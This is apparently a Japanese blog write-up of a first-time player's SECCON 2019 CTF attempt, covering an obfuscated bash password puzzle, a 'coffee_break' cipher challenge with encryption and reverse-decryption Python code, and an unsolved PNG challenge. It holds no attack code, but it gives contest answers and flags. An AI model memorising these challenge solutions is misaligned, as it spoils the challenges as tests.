__=$(. 2>&1) __=${__##*.} __=$(. 2>&1) __=${__##*.} set -- {z..A} echo Enter the password read _____ : password is bash read _____ echo -e '\033[?7h'
となりました。ちょこっと内容が消え去っていて私はここで戸惑いました。(←ちゃんとデコードしろ)
: password is bash 、神かこれ。ということで Enter the password で bash と入れると Good Job! と帰ってくるので正解だとわかります。
これらからflagは
SECCON{hogefuga3bash}
となります。
coffee_break
何がコーヒーだ!コーヒー要素なんてないじゃないか!と思われた方、正解です。
とりあえず配布されたpythonコードを見てみる。
import sys from Crypto.Cipher import AES import base64 def encrypt(key, text): s = '' for i in range(len(text)): s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20) return s key1 = "SECCON" key2 = "seccon2019" text = sys.argv[1] enc1 = encrypt(key1, text) cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB) p = 16 - (len(enc1) % 16) enc2 = cipher.encrypt(enc1 + chr(p) * p) print(base64.b64encode(enc2).decode('ascii'))
cipherとbase 64を使用したところはすぐにデコードできそうですね。なので、
key1 = "SECCON" key2 = "seccon2019" text = sys.argv[1] cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB) dec1 = cipher.decrypt(base64.b64decode(text))
これだけでデコードできます。問題は def encrypt(key, text): でエンコードされた文字列。
でもこれ、ただの数値計算なので逆算してあげる。すると
def decrypt(key, text): s = '' for i in range(len(text)): s += chr(ord(text[i]) + 0x20 - (ord(key[i % len(key)]) - 0x20) + 0x3F) return s
はい。これでOK。 def encrypt が95で割ったあまりを出力しているので正確にはデコードできないが、推測ができれば問題ないのでOK。
またこれはアルファベットしかないとして仮定した場合である。すると
FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905
が
S�����{�uccess_�ecryption_�eah_�eah_S�����}
になった。これから推測するとflagは
SECCON{Success_Decryption_Yeah_Yeah_SECCON}
となる。
pngbomb
画像データがgzで圧縮されているので解凍して表示しようとすると、IHDRが壊れていることがわかる。これしかわからなかったのでダメです。12時間を溶かした問題。
SECCONを終えて
初めて出場したCTFの大会でしたが、とても楽しく、寝る時間を惜しんでいました。
miscしか解いていないけれど、それが一番楽しかった気がする。
Pwn、メモリリークできないです勉強してきます…。